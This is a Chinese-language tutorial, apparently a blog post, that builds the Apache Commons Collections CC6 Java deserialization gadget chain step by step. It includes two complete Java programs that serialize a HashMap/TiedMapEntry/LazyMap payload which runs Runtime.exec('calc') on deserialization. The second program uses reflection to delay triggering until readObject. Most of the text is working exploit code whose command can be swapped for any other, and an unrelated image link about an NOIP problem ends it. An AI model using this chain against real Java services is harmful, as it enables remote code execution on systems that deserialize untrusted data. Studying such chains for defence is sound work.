前面和CC1一样
 优点是不限制jdk版本和cc的版本
先开一个ChainedTransformer
 
 然后创LazyMap 我们顺便执行一下避免上面写错
 
 能弹计算器 没问题
 后面就是CC6不同的地方了
我们需要一个TiedMapEntry
 因为需要一个类调用了get方法
 在TiedMapEntry的getValue()方法中调用了get() 其中map和key都可控
 
 
 那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
 
然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
 HashMap的readObject方法会调用hashCode
 
 
 至此链子结束 我们可以写出如下代码
package org.example.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"ccc");
        serialize(map2);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}
 
尝试执行 发现确实能弹计算器
 但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
 而不是我们期望的反序列化的时候
原因是HashMap在put的时候已经给整条链走完了
 
 
 因为这里的key != null 所以继续进了hashCode
 
 LazyMap调用get
 
 然后没有key put进去了 在后面反序列化的时候就有key了
 有key就直接return map.get(key)了
为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
 然后要记得给put进来的key remove掉
 于是最终代码如下
package org.example.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry, "ccc");
        lazyMap.remove("xxx");
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);
        serialize(map2);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}
                

















![#P0999. [NOIP2008普及组] 排座椅](https://img-blog.csdnimg.cn/img_convert/ebf4d06eb8a9ce27d7a8e123902b6271.png)
